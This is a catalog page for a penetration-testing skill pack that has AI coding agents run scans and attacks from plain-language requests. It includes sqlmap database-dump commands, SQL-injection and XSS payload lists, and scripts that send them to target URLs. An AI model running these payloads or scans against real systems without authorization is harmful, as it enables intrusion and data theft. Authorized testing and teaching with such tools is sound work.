Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
aradotso avatar

Pentest Skills Framework

  • 1 installs
  • 10 repo stars
  • Updated August 4, 2026
  • aradotso/security-skills

Pentest-Skills Framework is a Claude skill collection that turns AI CLI tools into a modular penetration-testing framework driven by natural-language commands.

About

Pentest-Skills is a modular penetration-testing framework for AI CLI tools like Claude Code, Gemini CLI, and Cursor that runs security tests from plain-language commands. A tester describes a goal such as scanning ports or finding SQL injection, and the AI selects and runs the right tool. Each skill packages knowledge docs, automation scripts, reference docs, and resource files for tasks like subdomain enumeration and directory scanning.

  • Modular pentest framework for AI CLI tools
  • Natural-language recon, subdomain enum, SQLi and XSS testing
  • Each skill bundles scripts, references and payload wordlists

Pentest Skills Framework by the numbers

  • 1 all-time installs (skills.sh)
  • Ranked #1,835 of 2,203 Security skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
At a glance

pentest-skills-framework capabilities & compatibility

Free; clone the repo and install the referenced open-source tools.

Capabilities
security audit · reconnaissance · vulnerability scanning · orchestration
Use cases
security audit · orchestration
Platforms
Linux · macOS
Pricing
Free
From the docs

What pentest-skills-framework says it does

A modular penetration testing framework designed for AI CLI tools (Claude Code, Gemini CLI, Cursor) that enables professional security testing through natural language commands.
SKILL.md
Pentest-Skills provides atomic-level capabilities for penetration testing workflows:
SKILL.md
npx skills add https://github.com/aradotso/security-skills --skill pentest-skills-framework

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs1
repo stars10
Last updatedAugust 4, 2026
Repositoryaradotso/security-skills

What it does

Run recon, subdomain enumeration, and SQLi/XSS tests from natural-language commands in an AI CLI.

Who is it for?

Testers who want to drive recon and exploitation tools from natural language in an AI CLI.

Skip if: Users without the underlying tools installed or authorization to test the target.

When should I use this skill?

You want to scan ports, enumerate subdomains, or test for SQLi/XSS by describing the goal.

What you get

Plain-language requests select and run the right pentest tool and interpret results.

By the numbers

  • Each skill bundles SKILL.md, scripts, references and assets
  • Covers 4 information-gathering and 4 exploitation capability areas

Files

SKILL.mdMarkdownGitHub ↗

Pentest-Skills Framework

Skill by ara.so — Security Skills collection.

A modular penetration testing framework designed for AI CLI tools (Claude Code, Gemini CLI, Cursor) that enables professional security testing through natural language commands. Each skill contains knowledge documents, automation scripts, reference documentation, and resource files.

What It Does

Pentest-Skills provides atomic-level capabilities for penetration testing workflows:

  • Information Gathering: Port scanning, subdomain enumeration, directory scanning, fingerprinting
  • Vulnerability Exploitation: SQL injection, XSS, LFI, file download vulnerabilities
  • Natural Language Interface: Describe testing goals in plain language; AI selects tools and executes
  • Automated Analysis: AI interprets results and generates actionable reports

Installation

Prerequisites

Install required tools based on skills you'll use:

# Core tools (Ubuntu/Debian)
sudo apt update
sudo apt install -y nmap python3 python3-pip git

# macOS
brew install nmap python3 git

# Go-based tools (required for subdomain enumeration, directory scanning)
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/ffuf/ffuf/v2@latest

# Additional tools
pip3 install sqlmap xsstrike dalfox

Install Skills

# Clone the repository
git clone https://github.com/crazyMarky/pentest-skills.git
cd pentest-skills

# Copy all skills to Claude Code skills directory
mkdir -p ~/.claude/skills
cp -r * ~/.claude/skills/

# Or copy specific skills
cp -r recon-port-scan ~/.claude/skills/
cp -r exploit-sqli ~/.claude/skills/

Restart your AI coding agent to load the skills.

Skill Structure

Each skill follows this pattern:

skill-name/
├── SKILL.md              # Core documentation (AI trigger)
├── scripts/              # Automation scripts (Python/Bash)
│   ├── helper.py
│   └── analyze.sh
├── references/           # Detailed tool documentation
│   └── tool-guide.md
└── assets/               # Dictionaries, payloads, resources
    └── wordlists/

Usage Patterns

Port Scanning (recon-port-scan)

Natural language:

Scan localhost for open ports and analyze service versions

Direct tool usage:

# Quick scan
nmap -sV -T4 localhost

# Full TCP scan
nmap -sV -sC -p- -T4 192.168.1.100

# Using rustscan (faster)
rustscan -a 192.168.1.100 -- -sV -sC

Python script automation:

# scripts/port_scanner.py
import nmap
import sys

def scan_target(target, ports="1-1000"):
    nm = nmap.PortScanner()
    print(f"Scanning {target} ports {ports}...")
    
    nm.scan(target, ports, arguments='-sV -sC -T4')
    
    for host in nm.all_hosts():
        print(f"\nHost: {host} ({nm[host].hostname()})")
        print(f"State: {nm[host].state()}")
        
        for proto in nm[host].all_protocols():
            ports = nm[host][proto].keys()
            for port in sorted(ports):
                port_info = nm[host][proto][port]
                print(f"  {port}/tcp  {port_info['state']}  "
                      f"{port_info['name']}  {port_info.get('version', 'N/A')}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python port_scanner.py <target> [ports]")
        sys.exit(1)
    
    target = sys.argv[1]
    ports = sys.argv[2] if len(sys.argv) > 2 else "1-1000"
    scan_target(target, ports)

Run:

python scripts/port_scanner.py 192.168.1.100

Subdomain Enumeration (recon-subdomain)

Natural language:

Find all subdomains for example.com

Direct tool usage:

# Using subfinder
subfinder -d example.com -o subdomains.txt

# Verify live subdomains
cat subdomains.txt | dnsx -resp -o live-subdomains.txt

# Get HTTP details
cat live-subdomains.txt | httpx -status-code -title -tech-detect

Automation script:

# scripts/subdomain_enum.py
import subprocess
import sys

def enumerate_subdomains(domain):
    print(f"Enumerating subdomains for {domain}...")
    
    # Run subfinder
    subfinder_cmd = ["subfinder", "-d", domain, "-silent"]
    result = subprocess.run(subfinder_cmd, capture_output=True, text=True)
    subdomains = result.stdout.strip().split('\n')
    
    print(f"Found {len(subdomains)} subdomains")
    
    # Verify with dnsx
    print("Verifying live subdomains...")
    live_subs = []
    for sub in subdomains:
        dnsx_cmd = ["dnsx", "-silent", "-resp"]
        proc = subprocess.run(dnsx_cmd, input=sub, capture_output=True, text=True)
        if proc.stdout.strip():
            live_subs.append(sub)
            print(f"  ✓ {sub}")
    
    return live_subs

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python subdomain_enum.py <domain>")
        sys.exit(1)
    
    domain = sys.argv[1]
    live = enumerate_subdomains(domain)
    
    with open(f"{domain}-subdomains.txt", "w") as f:
        f.write('\n'.join(live))

SQL Injection Testing (exploit-sqli)

Natural language:

Test this URL for SQL injection: http://target.com/page.php?id=1

Direct tool usage:

# Basic sqlmap test
sqlmap -u "http://target.com/page.php?id=1" --batch

# Test with POST data
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch

# Dump database
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

# Extract tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Testing script:

# scripts/sqli_tester.py
import requests
import sys

def test_sql_injection(url, param):
    payloads = [
        "'", "\"", "' OR '1'='1", "\" OR \"1\"=\"1",
        "' OR 1=1--", "\" OR 1=1--",
        "') OR ('1'='1", "\") OR (\"1\"=\"1"
    ]
    
    print(f"Testing {url} parameter: {param}")
    
    for payload in payloads:
        test_url = f"{url}?{param}={payload}"
        try:
            response = requests.get(test_url, timeout=5)
            
            # Check for SQL error indicators
            sql_errors = [
                "SQL syntax", "mysql_fetch", "Warning: mysql",
                "PostgreSQL", "pg_query", "ORA-", "SQLite",
                "ODBC", "JET Database"
            ]
            
            for error in sql_errors:
                if error.lower() in response.text.lower():
                    print(f"  [VULNERABLE] Payload: {payload}")
                    print(f"  Error found: {error}")
                    return True
        except Exception as e:
            print(f"  [ERROR] {payload}: {e}")
    
    print("  [SAFE] No SQL injection detected")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python sqli_tester.py <url> <parameter>")
        sys.exit(1)
    
    url = sys.argv[1]
    param = sys.argv[2]
    test_sql_injection(url, param)

XSS Testing (exploit-xss)

Natural language:

Check for XSS vulnerabilities in this form parameter

Direct tool usage:

# Using XSStrike
xsstrike -u "http://target.com/search?q=test"

# Using dalfox
dalfox url "http://target.com/search?q=test"

# Manual payloads
curl "http://target.com/search?q=<script>alert(1)</script>"

Testing script:

# scripts/xss_tester.py
import requests
from urllib.parse import urlencode
import sys

def test_xss(url, params):
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "'-alert('XSS')-'",
        "\"><script>alert('XSS')</script>",
        "<body onload=alert('XSS')>"
    ]
    
    vulnerable = []
    
    for payload in payloads:
        test_params = params.copy()
        for key in test_params:
            test_params[key] = payload
        
        try:
            response = requests.get(url, params=test_params, timeout=5)
            
            if payload in response.text:
                print(f"  [VULNERABLE] Reflected payload: {payload}")
                vulnerable.append(payload)
        except Exception as e:
            print(f"  [ERROR] {payload}: {e}")
    
    return vulnerable

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python xss_tester.py <url> <param>=<value>")
        sys.exit(1)
    
    url = sys.argv[1]
    params = {}
    for arg in sys.argv[2:]:
        k, v = arg.split('=', 1)
        params[k] = v
    
    print(f"Testing XSS on {url}")
    vulns = test_xss(url, params)
    
    if vulns:
        print(f"\n[!] Found {len(vulns)} vulnerable payloads")
    else:
        print("\n[+] No XSS vulnerabilities detected")

Directory Enumeration (recon-dir-scan)

Natural language:

Enumerate directories and files on http://target.com

Direct tool usage:

# Using ffuf
ffuf -u http://target.com/FUZZ -w /path/to/wordlist.txt -mc 200,301,302

# Using gobuster
gobuster dir -u http://target.com -w /path/to/wordlist.txt

# Using feroxbuster (recursive)
feroxbuster -u http://target.com -w /path/to/wordlist.txt

Configuration

Environment Variables

Store sensitive data in environment variables:

# API keys for services
export SHODAN_API_KEY="your_api_key_here"
export VIRUSTOTAL_API_KEY="your_api_key_here"

# Database credentials (for post-exploitation)
export DB_HOST="localhost"
export DB_USER="pentester"
export DB_PASS="your_password_here"

# Proxy settings
export HTTP_PROXY="http://127.0.0.1:8080"
export HTTPS_PROXY="http://127.0.0.1:8080"

Skill Configuration

Each skill can have a config.yaml:

# recon-port-scan/config.yaml
nmap:
  default_timing: T4
  default_ports: 1-65535
  scripts: true

masscan:
  rate: 10000
  wait: 10

output:
  format: json
  save_path: ./results

Common Patterns

Chaining Multiple Skills

# scripts/full_recon.py
import subprocess
import json

def full_reconnaissance(target):
    results = {}
    
    # 1. Port scan
    print("[1/4] Port scanning...")
    nmap_result = subprocess.run(
        ["nmap", "-sV", "-oJ", "-", target],
        capture_output=True, text=True
    )
    results['ports'] = json.loads(nmap_result.stdout)
    
    # 2. Subdomain enumeration (if domain)
    if not target.replace('.', '').isdigit():
        print("[2/4] Subdomain enumeration...")
        subfinder_result = subprocess.run(
            ["subfinder", "-d", target, "-silent"],
            capture_output=True, text=True
        )
        results['subdomains'] = subfinder_result.stdout.strip().split('\n')
    
    # 3. Directory scanning
    print("[3/4] Directory enumeration...")
    ffuf_result = subprocess.run(
        ["ffuf", "-u", f"http://{target}/FUZZ", 
         "-w", "wordlist.txt", "-mc", "200,301,302", "-s"],
        capture_output=True, text=True
    )
    results['directories'] = ffuf_result.stdout.strip().split('\n')
    
    # 4. Fingerprinting
    print("[4/4] Fingerprinting...")
    httpx_result = subprocess.run(
        ["httpx", "-silent", "-tech-detect", "-title"],
        input=target, capture_output=True, text=True
    )
    results['fingerprint'] = httpx_result.stdout.strip()
    
    return results

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python full_recon.py <target>")
        sys.exit(1)
    
    target = sys.argv[1]
    results = full_reconnaissance(target)
    
    with open(f"{target}-recon.json", "w") as f:
        json.dump(results, f, indent=2)

Report Generation

# scripts/generate_report.py
from datetime import datetime

def generate_html_report(target, findings):
    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <title>Penetration Test Report - {target}</title>
        <style>
            body {{ font-family: Arial, sans-serif; margin: 40px; }}
            .header {{ background: #2c3e50; color: white; padding: 20px; }}
            .finding {{ border-left: 4px solid #e74c3c; padding: 10px; margin: 20px 0; }}
            .critical {{ border-color: #e74c3c; }}
            .high {{ border-color: #e67e22; }}
            .medium {{ border-color: #f39c12; }}
            .low {{ border-color: #3498db; }}
        </style>
    </head>
    <body>
        <div class="header">
            <h1>Penetration Test Report</h1>
            <p>Target: {target}</p>
            <p>Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
        </div>
        
        <h2>Executive Summary</h2>
        <p>Total findings: {len(findings)}</p>
        
        <h2>Findings</h2>
    """
    
    for finding in findings:
        html += f"""
        <div class="finding {finding['severity'].lower()}">
            <h3>{finding['title']}</h3>
            <p><strong>Severity:</strong> {finding['severity']}</p>
            <p><strong>Description:</strong> {finding['description']}</p>
            <p><strong>Recommendation:</strong> {finding['recommendation']}</p>
        </div>
        """
    
    html += """
    </body>
    </html>
    """
    
    return html

Troubleshooting

Permission Issues

# If tools require sudo
sudo nmap -sS 192.168.1.100

# Add user to required groups
sudo usermod -aG pcap $USER

Tool Not Found

# Check PATH
echo $PATH

# Verify Go bin directory
export PATH=$PATH:$(go env GOPATH)/bin

# Add to shell profile
echo 'export PATH=$PATH:$(go env GOPATH)/bin' >> ~/.bashrc

Rate Limiting

import time

def rate_limited_scan(targets, delay=1):
    for target in targets:
        scan_target(target)
        time.sleep(delay)  # Wait between requests

Proxy Configuration

# Set proxy for tools
export HTTP_PROXY=http://127.0.0.1:8080
export HTTPS_PROXY=http://127.0.0.1:8080

# For sqlmap
sqlmap --proxy=http://127.0.0.1:8080 -u "http://target.com/page.php?id=1"

# For ffuf
ffuf -x http://127.0.0.1:8080 -u http://target.com/FUZZ -w wordlist.txt

Timeout Issues

import requests

requests.get(url, timeout=30)  # 30 second timeout

Legal Warning

⚠️ IMPORTANT: Only use these skills on systems you have explicit written permission to test. Unauthorized testing is illegal and punishable under cybercrime laws (e.g., CFAA in the US, Computer Misuse Act in the UK). Always:

  • Obtain written authorization
  • Follow local laws and regulations
  • Use only for authorized penetration tests, CTF competitions, or educational purposes
  • Take full responsibility for your actions

Available Skills

  • recon-port-scan - Port scanning and service identification
  • recon-subdomain - Subdomain enumeration and DNS reconnaissance
  • recon-dir-scan - Directory and file enumeration
  • recon-fingerprint - Web fingerprinting and WAF detection
  • exploit-sqli - SQL injection detection and exploitation
  • exploit-xss - Cross-site scripting detection
  • exploit-lfi - Local file inclusion and directory traversal
  • exploit-file-download - Insecure file download and path traversal

Each skill is independently loadable and contains complete documentation, scripts, and resources.

Related skills

FAQ

Which AI tools does it target?

AI CLI tools including Claude Code, Gemini CLI, and Cursor.

What capabilities does it cover?

Information gathering (port scanning, subdomain and directory enumeration, fingerprinting) and exploitation (SQLi, XSS, LFI, file download).

Securityappsecaudit

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.